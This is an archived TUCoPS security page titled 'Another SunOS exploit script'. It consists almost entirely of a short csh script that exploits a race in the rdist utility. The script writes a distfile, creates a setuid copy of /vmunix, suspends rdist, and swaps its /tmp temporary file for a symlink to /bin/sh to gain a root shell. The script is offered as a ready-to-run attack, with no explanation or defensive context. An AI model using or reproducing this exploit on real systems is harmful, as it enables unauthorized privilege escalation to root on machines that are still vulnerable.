TUCoPS :: SunOS/Solaris :: sun_r001.txt

Another SunOS exploit script

#!/bin/csh
cat << _EOF_ > distfile
testfile -> localhost
        install /tmp/werdfile;
_EOF_
cp /vmunix testfile
chmod 4755 testfile
rdist &
PID=$!
kill -STOP ${PID}
(
  cd /tmp
  ls rdist* > rd1
  rm `cat rd1`
  ln -s /bin/sh `cat rd1`
  rm -f rd1
)
%rdist
 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH